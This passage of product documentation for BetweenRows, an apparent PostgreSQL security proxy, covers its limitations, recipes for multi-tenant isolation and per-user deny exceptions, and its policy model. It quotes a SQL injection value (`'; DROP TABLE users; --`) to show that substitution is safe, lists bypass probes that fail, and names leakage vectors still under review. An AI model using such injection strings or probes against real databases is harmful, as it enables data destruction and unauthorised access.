The `datafusion-table-providers` crate does not handle PostgreSQL's `regclass` / `regproc` types. BetweenRows skips these columns during catalog discovery — they are invisible to the proxy and cannot be queried through it.

**Workaround:** if you need to read these columns, cast them to `TEXT` upstream with a view. The view's `TEXT` column is then visible and queryable through the proxy.

### `json` and `jsonb` appear as `TEXT` on the wire

JSON and JSONB columns are announced to clients as PostgreSQL `TEXT` type (because DataFusion maps both to Arrow `Utf8`). Data is correct — values are readable and functionally complete — but some GUI tools won't show a JSON-specific editor or syntax highlighting.

JSON operators and functions (`->`, `->>`, `?`, `json_length`, `json_keys`) work normally because `datafusion-functions-json` is registered on every session. For filter pushdown, some operators push to the upstream and some are evaluated in-process by DataFusion.

### `->>` operator precedence issue

Due to a known issue in `sqlparser` 0.59 (the parser DataFusion uses), `col->>'key' = 'val'` parses as `col ->> ('key' = 'val')` — wrong associativity. In practice this is masked when the filter is pushed down to upstream PostgreSQL (which parses it correctly), but appears as a planning error in `EXPLAIN` output.

**Workaround:** add explicit parentheses:

```sql
-- Wrong (misparsed)
WHERE metadata->>'status' = 'active'

-- Correct
WHERE (metadata->>'status') = 'active'
```

Will be fixed when DataFusion upgrades to `sqlparser` 0.60+.

## Write support

### BetweenRows is read-only

The proxy rejects `INSERT`, `UPDATE`, `DELETE`, `DROP`, `TRUNCATE`, `CREATE`, `ALTER`, and all other write statements with SQLSTATE `25006` ("read-only transaction"). Rejected writes are audited as `status: denied` with `error_message: "Only read-only queries are allowed"`.

**This is intentional.** BetweenRows is a read-path proxy. For write access, connect to the upstream database directly (with whatever write-path security controls are appropriate) and use BetweenRows only for read queries that need row/column-level security.

Write support may come in a future major version, but it's a significantly larger problem than read rewriting and is not on the immediate roadmap.

### Some SQL clients send write statements on startup

Some clients issue `SET` statements or temporary-table creation during their startup sequence. BetweenRows allows a small allowlist of read-adjacent statements (`SET`, `SHOW`, `BEGIN`, `COMMIT` and similar) to pass through without rejection. If your client fails on startup with a "read-only" error, file an issue — we may need to extend the allowlist.

## Upgrade and migration

### Downgrades are not supported

SeaORM migrations are forward-only. If an upgrade goes wrong, the only supported recovery is restoring `/data` from a backup and running the older image version. See [Upgrading](/operations/upgrading) and [Backups](/operations/backups).

## Deployment

### Admin UI origin restrictions

If you host the admin UI on a different origin than the REST API (which most users don't), you must set `BR_CORS_ALLOWED_ORIGINS` to the list of allowed origins. Without it, browser requests fail with CORS errors.

### IPv6-only connectivity on Fly.io

The default Fly.io deployment exposes the pgwire port via IPv6. macOS users with IPv6 disabled may see timeouts. See [Install on Fly.io → IPv4-only environments](/installation/fly#ipv4-only-environments) for the WireGuard tunneling workaround.

## Things we are actively tracking (not yet decided)

* Predicate-probing mitigation for `column_deny` beyond projection-level stripping (does `WHERE denied_col = 'x'` error? — needs verification).
* `HAVING` clause behavior with masked columns (does `HAVING MAX(masked_col) > X` reference raw or masked values? — needs verification).
* `CASE WHEN denied_col IS NOT NULL` bypass potential (needs verification).
* Window function `ORDER BY masked_col` ranking leakage (needs verification).
* Full write-path audit support (currently limited to rejection logs).

File an issue on GitHub if any of these block your use case — we use that signal to prioritize.

## See also

* **[Security Overview](/concepts/security-overview)** — threat model and what BetweenRows protects against
* **[Troubleshooting](/operations/troubleshooting)** — for things that feel like limitations but might just be misconfigurations
* **[Roadmap](/about/roadmap)** — planned features, including some mitigations for the limitations above

---

---
url: /guides/recipes/multi-tenant-isolation.md
description: >-
  The flagship BetweenRows use case — one row_filter policy, an arbitrary number
  of tenants, driven by user attributes.
---

# Multi-Tenant Isolation with Attributes

Multi-tenancy is the classic row-level security problem. You have a shared database with rows from many tenants, and each user belongs to one (or a few) tenants. Every query must be scoped so that users only see their own tenant's data — *without* rewriting every query in your application.

BetweenRows solves this with **one `row_filter` policy** plus **one user attribute**. Adding new tenants is a matter of creating a user and setting their `tenant` attribute — no new policies, no redeploy.

## Setup

This guide uses the canonical e-commerce schema from the demo:

* **`customers`** — customer records, each tagged with an `org`.
* **`orders`** — order records, each tagged with an `org`.
* **`products`** — product records, each tagged with an `org`.
* **`support_tickets`** — support tickets, each tagged with an `org`.

Three tenants exist: `acme`, `globex`, `stark`. Each tenant has 10 customers, 20 products, 34 orders, and ~50 support tickets (numbers come from the canonical `scripts/demo_ecommerce` seed).

## 1. Define the tenant attribute

1. Go to **Attribute Definitions → Create**.
2. Fill in:
   * **Key:** `tenant`
   * **Entity type:** `user`
   * **Display name:** `Tenant`
   * **Value type:** `string`
   * **Allowed values:** `["acme", "globex", "stark"]` (optional enum constraint)
   * **Description:** `The customer tenant this user belongs to`
3. Save.

The `allowed_values` list makes the admin UI show a dropdown when setting the attribute on a user, and the API rejects values outside the enum with a 422.

## 2. Create three users

1. Create `alice`, set `attributes.tenant = "acme"`.
2. Create `bob`, set `attributes.tenant = "globex"`.
3. Create `charlie`, set `attributes.tenant = "stark"`.

## 3. Grant data source access

On your `demo_ecommerce` data source, add all three users under **User Access**. (In a real deployment, you would use a `data_source_access` with scope `all` or assign via a role.)

## 4. Create one row filter policy

This is the key step. **One** policy covers all three tenants.

1. **Policies → Create.**
2. Fill in:
   * **Name:** `tenant-isolation`
   * **Policy type:** `row_filter`
   * **Targets:** one entry that covers every tenant-scoped table:
     ```json
     [
       {
         "schemas": ["public"],
         "tables": ["customers", "orders", "products", "support_tickets"]
       }
     ]
     ```
   * **Definition:** `{ "filter_expression": "org = {user.tenant}" }`
3. Save.
4. On the data source page, assign `tenant-isolation` with scope `all`.

That's the entire policy layer. No per-tenant policy, no per-user policy.

## 5. Verify

Connect as Alice:

```sh
psql 'postgresql://alice:Demo1234!@127.0.0.1:5434/demo_ecommerce' -c "SELECT org, COUNT(*) FROM orders GROUP BY org;"
```

Expected:

```
 org  | count(*)
------+----------
 acme |       34
```

Only `acme` rows. As Bob:

```sh
psql 'postgresql://bob:Demo1234!@127.0.0.1:5434/demo_ecommerce' -c "SELECT org, COUNT(*) FROM orders GROUP BY org;"
```

```
  org   | count(*)
--------+----------
 globex |       34
```

As Charlie:

```
  org  | count(*)
-------+----------
 stark |       34
```

![Query Audit Log showing alice, bob, and charlie each running the same SELECT org, COUNT(\*) FROM orders query against the shared demo\_ecommerce datasource — each audit row carries the same tenant-isolation policy and returns a different per-tenant result](/screenshots/multi-tenant-audit-v0.14.png)

## 6. Verify that bypass attempts fail

Connect as Alice and try every clever thing a curious SQL author might try:

```sql
-- 1. Alias bypass
SELECT * FROM orders AS o;

-- 2. CTE bypass
WITH t AS (SELECT * FROM orders) SELECT * FROM t;

-- 3. Subquery bypass
SELECT * FROM (SELECT * FROM orders) sub;

-- 4. JOIN bypass
SELECT o.id, c.first_name
  FROM orders o
  JOIN customers c ON o.customer_id = c.id;

-- 5. OR short-circuit
SELECT * FROM orders WHERE 1=1 OR org != 'acme';
```

**All five return only Alice's `acme` rows.** The row filter is attached to the `TableScan` node in DataFusion's logical plan, which is resilient to:

* Aliases — the `TableScan` carries the real table name regardless of alias.
* CTEs — DataFusion inlines CTEs during planning; the `TableScan` persists.
* Subqueries — same inlining behavior; the `TableScan` persists.
* JOINs — row filters are applied to each `TableScan` independently. The filter on `orders` sits below the JOIN; the filter on `customers` sits below it too. Both apply.
* OR expressions — the injected filter is a separate `Filter` node AND'd with the user's WHERE clause. `WHERE (user_where) AND (policy_filter)`.

## 7. Add a fourth tenant — no new policies needed

Now the payoff. You sign a new customer, `initech`. Add them:

1. Go to **Attribute Definitions → tenant**. Add `initech` to `allowed_values`.
2. Create user `david`, set `attributes.tenant = "initech"`.
3. Grant David access to `demo_ecommerce`.

David can now connect and query. He sees only `initech` rows. **No new policy was created.** The single `tenant-isolation` policy covers him automatically because `{user.tenant}` expands to his attribute value at query time.

Scaling to 50 tenants? Same policy. 500? Same policy. The only thing that grows is the `users` table and their `tenant` attribute values.

## Extending the pattern

### Multiple tenants per user

A consultant who works with multiple clients needs to see rows from multiple tenants. Change the attribute type to `list`:

1. Delete the single `tenant` attribute definition (or redefine it).
2. Create a new attribute definition with `key: "organizations"`, `value_type: "list"`, `allowed_values: ["acme", "globex", "stark", "initech"]`.
3. Set `david.organizations = ["acme", "globex"]`.
4. Change the filter expression to `org IN ({user.organizations})`.

At query time, `{user.organizations}` expands to `'acme', 'globex'` (multiple typed literals), and the filter becomes `org IN ('acme', 'globex')`. David sees both tenants' rows. Alice still only sees `acme` if she has `organizations = ["acme"]`.

### Tenant isolation + column masking

Layer two separate policies:

```yaml
- name: tenant-isolation
  policy_type: row_filter
  targets: [{ schemas: ["public"], tables: ["customers"] }]
  definition: { filter_expression: "org = {user.tenant}" }

- name: mask-customer-ssn
  policy_type: column_mask
  targets: [{ schemas: ["public"], tables: ["customers"], columns: ["ssn"] }]
  definition: { mask_expression: "'***-**-' || RIGHT(ssn, 4)" }
```

Alice now sees only her tenant's customers, and their SSNs are masked. Row filters and column masks compose cleanly — the filter evaluates first against raw values, then the mask applies to the result set.

### Admin bypass

You want an admin user to see all tenants. Use a decision function that skips the policy for users in the `admin` role:

```js
function evaluate(ctx) {
  return { fire: !ctx.session.user.roles.includes('admin') };
}
```

Attach this decision function to the `tenant-isolation` policy. For users in the `admin` role, `fire: false` skips the policy entirely → they see all rows. For everyone else, the policy fires normally.

Alternatively, use a `CASE WHEN` in the filter expression:

```sql
CASE WHEN 'admin' = ANY({user.roles}) THEN true ELSE org = {user.tenant} END
```

The decision function is preferred when the same condition gates multiple policies.

## What you learned

* One row filter policy with a template variable scales to any number of tenants.
* Aliases, CTEs, subqueries, JOINs, and OR expressions cannot bypass a row filter.
* User attributes are the natural home for per-tenant values; policies stay generic.
* Adding a new tenant is a user-management task, not a policy-management task.
* Row filters and column masks compose safely.

## Next steps

* **[Audit & Debugging](/guides/audit-debugging)** — verify policies via the rewritten SQL
* **[Users & Roles](/guides/users-roles)** — RBAC model and role inheritance
* **[User Attributes](/guides/attributes)** — defining and assigning tenant attributes
* **[Template Expressions](/reference/template-expressions)** — all variable types and NULL semantics
* **[Threat Model](/concepts/threat-model)** — the security vectors this pattern addresses

---

---
url: /guides/recipes/deny-exceptions.md
description: >-
  Grant a single user in a role access to a column that's denied for the rest of
  the role, without weakening the deny-wins invariant.
---

# Per-User Exceptions to Role-Level Denies

## Problem

You have a role — say `analysts` — with a `column_deny` on a sensitive column like `customers.ssn`. Most analysts must not see SSNs. But one specific analyst, Alice, needs access: she runs the quarterly compliance audit and the raw SSN is part of her job.

The naïve instinct is to add a `column_allow` scoped to Alice. **That does not work.** BetweenRows enforces [deny-wins](/concepts/policy-model#_2-deny-always-wins) across all roles, scopes, and priorities — a permit policy cannot override a deny policy regardless of source. This is a security invariant, formalized in the [threat model](/concepts/threat-model#_38-deny-wins-across-roles). You can't grant your way out of a deny.

So how do you express "everyone in `analysts` is denied SSN, except Alice"?

## Ingredients

* **[Decision Functions](/guides/decision-functions)** — JavaScript attached to a policy that decides whether the policy fires at all
* **[User Attributes (ABAC)](/guides/attributes)** — custom per-user key-value pairs
* **[Column Allow & Deny](/guides/policies/column-allow-deny)** — the deny policy whose application we're going to make conditional

The decision function gives us a way to skip the deny for specific users *without* altering deny-wins at the engine level. The deny still exists in the policy list; it just doesn't apply to users who meet the exception criteria.

## Solution

We'll grant the exception via a user attribute so that adding or removing exceptions is a single attribute flip rather than a JavaScript edit.

### 1. Define the exception attribute

Go to **Attribute Definitions → Create** and define:

* **Key:** `pii_access`
* **Entity type:** `user`
* **Display name:** `PII Access Exemption`
* **Value type:** `boolean`
* **Default value:** `false`
* **Description:** `When true, the user is exempt from the role-level PII column deny.`

Setting the default to `false` means any user without the attribute explicitly set is treated as not exempt — fail-closed by construction.

### 2. Create the decision function

Go to **Decision Functions → Create**. Name it `pii-exemption-check` and paste:

```js
function evaluate(ctx, config) {
  // Skip the policy (fire: false) if the user is exempt.
  // Any other user: policy fires normally.
  if (ctx.session.user.pii_access === true) {
    return { fire: false };
  }
  return { fire: true };
}
```

Set:

* **Evaluate context:** `session` — evaluates once per connection at the visibility layer. Cheaper than per-query, and the exception is static per user, so session context is the right choice.
* **On error:** `deny` — if the function throws, default to firing the deny (fail-closed — see the Pitfalls section for the counterintuitive naming).
* **Log level:** `off` for production; `info` while you're iterating.

Save.

### 3. Create the `column_deny` policy with the decision function attached

Go to **Policies → Create**:

* **Name:** `analysts-deny-ssn`
* **Policy type:** `column_deny`
* **Targets:**
  ```json
  [
    {
      "schemas": ["public"],
      "tables": ["customers"],
      "columns": ["ssn"]
    }
  ]
  ```
* **Decision function:** `pii-exemption-check` (selected from the dropdown)

Save, then assign the policy to the `analysts` role on your data source.

### 4. Grant the exception

On Alice's user page, set `attributes.pii_access = true`. Save.

The change propagates to all of Alice's active connections on her next query — no reconnect needed. BetweenRows invalidates her cached session state and rebuilds her virtual schema in the background.

### 5. Verify

As Alice (exempt):

```sh
psql 'postgresql://alice@proxy:5434/demo' -c "SELECT id, name, ssn FROM customers LIMIT 3;"
```

Alice sees the `ssn` column in the result set.

As Bob (another `analysts` member without the attribute):

```sh
psql 'postgresql://bob@proxy:5434/demo' -c "SELECT id, name, ssn FROM customers LIMIT 3;"
```

Bob gets an error: `column "ssn" does not exist`. The column isn't in his virtual schema at all — visibility-level enforcement removed it at connect time.

As Bob with `SELECT *`:

```sh
psql 'postgresql://bob@proxy:5434/demo' -c "SELECT * FROM customers LIMIT 3;"
```

Bob gets rows back with `id`, `name`, and the other non-denied columns. No SSN, no error. The `SELECT *` expands against his virtual schema, which never contained `ssn`.

## Why this works

The `column_deny` policy is still assigned to the `analysts` role and Bob is still a member — deny-wins is unchanged. What the decision function does is **gate whether the deny applies at all**, per user, at the point where policies are resolved into an effective set.

When a user connects, BetweenRows walks their role memberships and scopes to build their effective policy set. For each deny policy, it evaluates any attached decision function *before* the policy lands in the user's deny set. If the function returns `{ fire: false }`, the policy is skipped — it never becomes part of that user's effective denies, so downstream enforcement has no deny to apply to them.

For Alice, the analyst deny set for `customers.ssn` is empty. For Bob, the deny is present and the visibility layer removes `ssn` from his virtual schema at connect time. Both flow through the same enforcement pipeline; only the *input* (whose deny set contains the policy) differs.

Because `evaluate_context` is `session`, the decision runs once when each user connects — not per query. Alice's virtual schema is computed without the deny; Bob's is computed with it. Both are cached until the next policy or attribute mutation triggers a rebuild.

This preserves the deny-wins invariant: the deny *still* wins wherever it applies. The exception isn't a workaround that overrides deny-wins — it's a declaration, upstream of enforcement, that the policy doesn't apply to certain users in the first place.

## Variations

### Exception by role membership instead of by attribute

If the exception is shaped like "users in a specific role get PII access", check the built-in `roles` field instead of a custom attribute:

```js
function evaluate(ctx, config) {
  if (ctx.session.user.roles.includes('pii-access')) {
    return { fire: false };
  }
  return { fire: true };
}
```

Grant the exception by adding users to the `pii-access` role. The decision function stays static, exception management routes through standard role membership (already captured in the admin audit log), and you don't need an attribute definition.

### Static list of exempt users

For a small, rarely-changing exception list, check username directly:

```js
function evaluate(ctx, config) {
  const exempt = ['alice', 'dana', 'erin'];
  if (exempt.includes(ctx.session.user.username)) {
    return { fire: false };
  }
  return { fire: true };
}
```

This is less scalable than the attribute approach but fine for 2–5 exempt users that don't change often. The trade-off: every change is a JavaScript edit plus a decision function version bump.

### Exception with a time window

Combine the attribute check with a time window so the exception auto-expires:

```js
function evaluate(ctx, config) {
  if (ctx.session.user.pii_access === true &&
      ctx.session.time.now < config.exempt_until) {
    return { fire: false };
  }
  return { fire: true };
}
```

Set `exempt_until` in the decision function's `config` JSON and update it as the compliance window changes. `ctx.session.time.now` is an ISO 8601 / RFC 3339 string, so lexicographic comparison with another ISO string does the right thing.

### Audit trail for exception events

Because the exception is stored as a user attribute, every grant and revoke is automatically captured in the admin audit log — attribute changes record which attribute changed, the before/after values, and who made the change. See [Audit & Debugging → Audit log fields](/guides/audit-debugging#audit-log-fields) for the schema.

This turns "who has PII access and why?" from a maintenance burden into a queryable record.

## Pitfalls

### Don't try to `column_allow` your way out

A `column_allow` scoped to the exempt user cannot override the deny. Deny-wins is a security invariant across all roles, scopes, and priorities — see [Policy Model → Deny always wins](/concepts/policy-model#_2-deny-always-wins).

Decision functions work because they run *before* deny-wins — they control whether the deny policy applies at all for a given user, not whether it can be overridden at enforcement time.

### Don't use `evaluate_context: query` for static exceptions

If the exception is based on user identity alone (username, role, attribute — none of which change mid-session), use `evaluate_context: session`. The session context evaluates once at connect time and the decision is baked into the user's cached virtual schema.

`evaluate_context: query` evaluates the decision function on *every query*, which is wasted work. More subtly: with `query` context, the deny is *deferred* — the column stays visible in `information_schema` for every user, and is only removed from query results at query time. That changes discoverability: exempt users and non-exempt users see the same schema metadata, but non-exempt users get runtime errors when they explicitly reference the column. If you want metadata-level hiding (the 404-not-403 property), you need `session` context.

Reserve `query` context for decisions that genuinely depend on query shape (table count, row count estimate, time of day, query text patterns).

### `on_error: deny` on a deny policy is counterintuitive — but it is the fail-closed setting

If the decision function throws (a JavaScript runtime error, a missing context field, a corrupted `config`), the `on_error` setting decides what to do. Two options:

* `on_error: deny` — the policy fires on error. For a `column_deny` policy, "the policy fires" means the column is denied. That is fail-closed: on any ambiguity, the sensitive column stays hidden.
* `on_error: skip` — the policy does not fire on error. For a `column_deny` policy, this means the column stays visible. That is fail-open and should be avoided for anything protecting real sensitive data.

The word "deny" in `on_error: deny` refers to the *policy's effect*, not "deny access." For a deny policy, the effect of firing *is* denial — so `on_error: deny` reads awkwardly but means the right thing. Double-check every deny policy you write uses `on_error: deny`, not `skip`.

### Don't forget the attribute default

If you define `pii_access` without a `default_value`, users without the attribute set will have `ctx.session.user.pii_access === undefined`. The comparison `=== true` still correctly evaluates to `false`, so fail-closed holds by default — but it's brittle. An explicit `default_value: false` documents the intent and protects against someone later changing the comparison to `!== false` or `!= true` (which would flip the semantics and silently open the exemption to everyone).

### Don't confuse "exempt from deny" with "allowed to query"

The decision function only controls whether the `column_deny` applies. It does not grant any other access. In `policy_required` access mode, Alice still needs a matching `column_allow` for `customers.ssn` to actually see the column — the allow grants visibility, the deny (when it fires) removes it. The exemption just means the deny step is skipped for Alice; the allow step is still required.

In `open` access mode, no `column_allow` is needed — tables and columns are visible by default, so once the deny is skipped for Alice, she sees the column. Most deny-exception patterns target tables that are already broadly readable with one sensitive column carved out, and open mode or a broad role-level allow is usually already in place.

## Related

* [Multi-Tenant Isolation with Attributes](./multi-tenant-isolation) — the same attribute-gated pattern applied to row filters
* [Decision Functions](/guides/decision-functions) — full reference on context shape, error handling, performance, and the test harness
* [User Attributes (ABAC)](/guides/attributes) — how attributes work, default values, list-valued attributes, and cache invalidation
* [Policy Model → Deny always wins](/concepts/policy-model#_2-deny-always-wins) — the invariant this recipe preserves
* [Threat Model → Deny-wins across roles](/concepts/threat-model#_38-deny-wins-across-roles) — the security vector this invariant defends against

---

---
url: /guides/policies.md
description: >-
  The policy system — five types, how they compose, structural shape, validation
  rules, and when to use which.
---

# Policies

Policies are the core enforcement mechanism in BetweenRows. They determine which rows a user sees, which columns are visible or masked, and which tables exist from the user's perspective. This page is the landing for the whole policy cluster — which type to reach for, the JSON shape every policy shares, how they compose, and the deny-wins invariant. Each type has its own detailed guide linked below.

→ For the *philosophy* behind these design decisions, see [Policy Model](/concepts/policy-model).

## Which policy type do I need?

| I want to... | Use | Guide |
|---|---|---|
| **Filter rows** by user identity (tenant, department, region) | `row_filter` | [Row Filters](./row-filters) |
| **Redact a column value** (SSN → `***-**-1234`, email → `***@domain.com`) | `column_mask` | [Column Masks](./column-masks) |
| **Allowlist specific columns** (only these columns are visible) | `column_allow` | [Column Allow & Deny](./column-allow-deny) |
| **Remove specific columns** from results | `column_deny` | [Column Allow & Deny](./column-allow-deny) |
| **Hide an entire table** from a user or role | `table_deny` | [Table Deny](./table-deny) |

### When to mask vs. when to deny

* **Mask** when the column must remain queryable (JOINs, WHERE, GROUP BY work against the masked value) but the raw value should not be visible. Example: SSN masked to last-4, email domain preserved.
* **Deny** when the column should not exist at all from the user's perspective — not in query results, not in `information_schema`, not usable in expressions. Example: `credit_card` column removed entirely.

::: tip Rule of thumb
If the user needs to *reference* the column (even with redacted values), mask it. If the user should not know the column exists, deny it.
:::

## The five types at a glance

| Type | Intent | Grants access? | Modifies data? |
|---|---|---|---|
| `row_filter` | permit | No | Yes (filters rows) |
| `column_mask` | permit | No | Yes (transforms value) |
| `column_allow` | permit | **Yes** (named columns only) | No |
| `column_deny` | deny | Removes named columns | No |
| `table_deny` | deny | Removes table from catalog | No |

Deny types are evaluated before permit types. There is no separate `effect` field — the type implies the effect.

`column_allow` is the only type that grants access. In `policy_required` mode, a table with no `column_allow` is invisible regardless of what else is configured. See [Access mode interaction](#access-mode-interaction).

## Structural shape

Every policy has the same top-level JSON shape:

```json
{
  "name": "string (unique)",
  "policy_type": "row_filter | column_mask | column_allow | column_deny | table_deny",
  "targets": [
    {
      "schemas": ["public", "raw_*"],
      "tables": ["orders"],
      "columns": ["ssn"]
    }
  ],
  "definition": { /* type-specific, see below */ },
  "is_enabled": true,
  "decision_function_id": null
}
```

### Target fields by policy type

| `policy_type` | `schemas` | `tables` | `columns` |
|---|---|---|---|
| `row_filter` | required | required | — (not used) |
| `column_mask` | required | required | **required** (exactly one) |
| `column_allow` | required | required | **required** |
| `column_deny` | required | required | **required** |
| `table_deny` | required | required | — (not used) |

### Definition by policy type

* **`row_filter`** — `definition` is required:

  ```json
  { "filter_expression": "org = {user.tenant}" }
  ```

* **`column_mask`** — `definition` is required:

  ```json
  { "mask_expression": "'***-**-' || RIGHT(ssn, 4)" }
  ```

* **`column_allow`**, **`column_deny`**, **`table_deny`** — no `definition` field; it must be absent.

The API rejects policies with the wrong shape (e.g., `column_deny` with a `definition` field → 422).

## How policies compose

### Multiple policies of the same type

| Situation | Resolution |
|---|---|
| Multiple `row_filter` on the same table | **AND-combined** — a row must pass all filters to be visible. Layering narrows results, never expands. |
| Multiple `column_mask` on the same column | **Lowest priority number wins** (highest precedence). Use distinct priorities to avoid undefined ordering. |
| Multiple `column_deny` on the same column | **Union** — if any deny policy matches, the column is removed. |
| Multiple `column_allow` on the same table | **Union** — visible columns are the union of all allow policies. |

### Deny always wins

If any enabled policy denies access — from any role, any scope, any source — the deny is enforced. A `column_deny` on `salary` overrides a `column_allow` that includes `salary`. A `table_deny` hides the table even if a `row_filter` exists for it.

This invariant means you can layer permit-policies freely and reach for a deny as the final word.

### Policy changes take effect immediately

When you create, edit, enable, disable, or reassign a policy, the change takes effect for all connected users on their next query — no reconnect needed. BetweenRows rebuilds each user's view of the schema in the background.

## Priority and assignment

### Priority numbers

Every policy assignment has a numeric priority (default: 100). Lower number = higher precedence. When the same policy could be assigned through multiple paths (user + role + all), BetweenRows deduplicates and keeps the **lowest priority number**.

| Priority | Use case |
|---|---|
| 0–49 | Override policies (e.g., admin bypass) |
| 50–99 | High-priority restrictions |
| 100 | Default |
| 101+ | Low-priority fallbacks |

### Assignment scopes

| Scope | Target | Meaning |
|---|---|---|
| `all` | — | Applies to every user on the data source |
| `role` | A specific role | Applies to all members (direct + inherited) |
| `user` | A specific user | Applies to that one user only |

At equal priority, **user-specific beats role-specific beats all**.

## Access mode interaction

The data source's `access_mode` changes what happens when no policy matches:

* **`policy_required`** (recommended for production): tables with no `column_allow` policy are **invisible**. `column_allow` is the only type that grants access. Without it, the table returns empty results and is hidden from `information_schema`.
* **`open`**: tables are visible by default. Row filters, masks, and denies narrow the view, but no `column_allow` is needed.

::: danger
`column_deny` does **not** grant table access. In `policy_required` mode, creating a deny-only policy without a `column_allow` leaves the table invisible — the deny has nothing to deny because the table was never granted.
:::

→ Full explanation: [Data Sources → Access modes](/guides/data-sources#access-modes)

## Template variables in expressions

`row_filter` and `column_mask` expressions can reference user attributes like `{user.tenant}`. Values are substituted as typed SQL literals — injection-safe by construction. → Full reference: [Template Expressions](/reference/template-expressions)

## Wildcard targets

Policy targets support glob patterns for schemas, tables, and columns:

| Pattern | Matches | Does not match |
|---|---|---|
| `"*"` | everything | — |
| `"public"` | `public` only | `public2`, `private` |
| `"raw_*"` | `raw_orders`, `raw_events` | `orders_raw`, `orders` |
| `"*_pii"` | `customers_pii`, `employees_pii` | `pii_customers`, `customers` |
| `"analytics_*"` | `analytics_dev`, `analytics_prod` | `public`, `raw_analytics` |

Both prefix globs (`col_*`) and suffix globs (`*_col`) are supported on the `columns` field. Patterns are **case-sensitive**.

## Validation

The API validates policies at create/update time:

* **`row_filter`** — `filter_expression` must be parseable as a DataFusion expression. Unsupported syntax returns 422.
* **`column_mask`** — `mask_expression` must be parseable and must not reference columns outside the target table. Target entries must specify exactly one column per entry.
* **`column_allow` / `column_deny`** — `columns` array must be non-empty in every target entry.
* **`column_deny` / `table_deny` / `column_allow`** — the `definition` field must be absent.
* **`policy_type`** — must be one of the five enum values.
* **Version conflicts** — `PUT /policies/{id}` requires the current `version`; mismatch returns 409.

## Detailed guides

* **[Row Filters](./row-filters)** — filter rows by user identity with template variables
* **[Column Masks](./column-masks)** — redact column values with SQL expressions
* **[Column Allow & Deny](./column-allow-deny)** — control column visibility by name
* **[Table Deny](./table-deny)** — hide entire tables
* **[Template Expressions](/reference/template-expressions)** — the syntax used inside `filter_expression` and `mask_expression`
* **[Decision Functions](/guides/decision-functions)** — conditionally gate any policy with JavaScript logic
* **[Multi-Tenant Isolation](/guides/recipes/multi-tenant-isolation)** — flagship recipe combining row filters with attributes at scale

## See also

* [Policy Model](/concepts/policy-model) — the philosophy: zero-trust, deny-wins, visibility-follows-access

---

---
url: /concepts/policy-model.md
description: >-
  The philosophy behind BetweenRows — zero-trust defaults, deny-wins,
  visibility-follows-access, and how policies compose.
---

# Policy Model

This page explains *why* BetweenRows enforces policies the way it does — the invariants that make the security model tractable and the design decisions behind them. For the *how* (which type to use, tutorials, field reference), see the [Policies guide](/guides/policies/).

## The three invariants

Every design decision in BetweenRows flows from three invariants. They're non-negotiable — no configuration, policy, or role assignment can violate them.

### 1. Zero-trust defaults

In `policy_required` mode (the recommended production setting), tables start invisible. A table with no matching `column_allow` policy returns empty results and is absent from `information_schema`. Access must be explicitly granted — there is no "allow all, then restrict."

This means forgetting a policy is safe: the user sees nothing, not everything. The blast radius of a misconfiguration is "too little access" (noticeable, fixable) rather than "too much access" (a data breach).

`open` mode relaxes this for development — tables are visible by default, and policies narrow the view. It's a convenience, not a security posture.

→ Deployment guidance: [Data Sources → Access modes](/guides/data-sources#access-modes)

### 2. Deny always wins

If any enabled policy denies access — from any role, any scope, any priority — the deny is enforced. A `column_deny` on `salary` overrides a `column_allow` that includes `salary`. A `table_deny` hides the table even if row filters exist for it.

This holds across:

* Multiple role memberships (user in role A and role B — if either denies, it's denied)
* Different assignment scopes (user-specific allow + all-scoped deny → denied)
* Priority levels (a low-priority deny still overrides a high-priority allow)

The consequence: you can layer permit-policies freely and reach for a deny as the final word. Adding a deny never requires auditing whether some other permit policy might override it.

### 3. Visibility follows access

Schema metadata matches data access exactly. If a column is denied, it disappears from `information_schema.columns` — the user cannot discover it exists. If a table is denied, `\dt` doesn't list it and queries return "table not found" (not "access denied").

This is the **404-not-403 principle**: denied resources look identical to nonexistent ones. An attacker cannot distinguish "this column exists but I can't see it" from "this column doesn't exist" — which means schema probing reveals nothing useful.

Policy changes update both query enforcement and schema visibility immediately, without requiring a reconnect.

## How it works: per-user virtual schema

When a user connects through the proxy, BetweenRows builds a **virtual schema** tailored to their access:

1. Start with the data source's saved catalog (schemas, tables, columns).
2. Apply `table_deny` — remove denied tables entirely.
3. Apply `column_deny` — remove denied columns.
4. In `policy_required` mode, apply `column_allow` — only columns with a matching allow policy survive.
5. The result is the user's virtual schema — what they see in `information_schema`, `\dt`, and `\d`.

At query time, the virtual schema is further narrowed by `row_filter` (injecting WHERE clauses) and `column_mask` (replacing column values in the SELECT projection). These happen in the logical plan, not as string manipulation — which makes them immune to bypass via aliases, CTEs, subqueries, JOINs, or UNIONs.

→ Architecture detail: [Architecture](/concepts/architecture)

## How policies compose

### The five types

| Type | Intent | Effect | Guide |
|---|---|---|---|
| `row_filter` | permit | Injects a WHERE clause | [Row Filters](/guides/policies/row-filters) |
| `column_mask` | permit | Replaces a column's value | [Column Masks](/guides/policies/column-masks) |
| `column_allow` | permit | Allowlists visible columns | [Column Allow & Deny](/guides/policies/column-allow-deny) |
| `column_deny` | deny | Removes columns from schema + results | [Column Allow & Deny](/guides/policies/column-allow-deny) |
| `table_deny` | deny | Removes table from catalog | [Table Deny](/guides/policies/table-deny) |

→ Structural reference: [Policies → Structural shape](/guides/policies/#structural-shape)

### Composition rules

| Situation | Resolution |
|---|---|
| Multiple `row_filter` on the same table | **AND-combined** — narrowing, never expanding |
| Multiple `column_mask` on the same column | Lowest priority number wins |
| Multiple `column_deny` | Union — if any denies, it's denied |
| Multiple `column_allow` | Union — visible columns are the union of all allows |
| `column_deny` vs `column_allow` | **Deny wins** |
| `table_deny` vs any permit | **Deny wins** |

### Assignment and priority

Policies are assigned to a data source with a scope (all users, a specific role, or a specific user) and a priority number (lower = higher precedence, default 100). When the same policy reaches a user through multiple paths, BetweenRows deduplicates and keeps the lowest priority.

At equal priority: user-specific beats role-scoped beats all-scoped.

→ Full detail: [Policies guide → Priority and assignment](/guides/policies/#priority-and-assignment)

## Injection safety: parse-then-substitute

Template variables (`{user.tenant}`, `{user.clearance}`) are substituted as **typed SQL literals** after the expression is parsed into a DataFusion expression tree. The user's attribute value never passes through the SQL parser.

A tenant attribute containing `'; DROP TABLE users; --` produces a single escaped string literal — not an injection. This is safe by construction, not by escaping.

→ Full reference: [Template Expressions](/reference/template-expressions)

## When to mask vs. when to deny

The most common policy-design question, and it matters because the two have different security properties:

**Use `column_mask` when:**

* The column should remain queryable (JOINs, WHERE, GROUP BY work against the masked value)
* The column's *existence* is not sensitive
* You want partial visibility (last-4 of SSN, email domain only)

**Use `column_deny` when:**

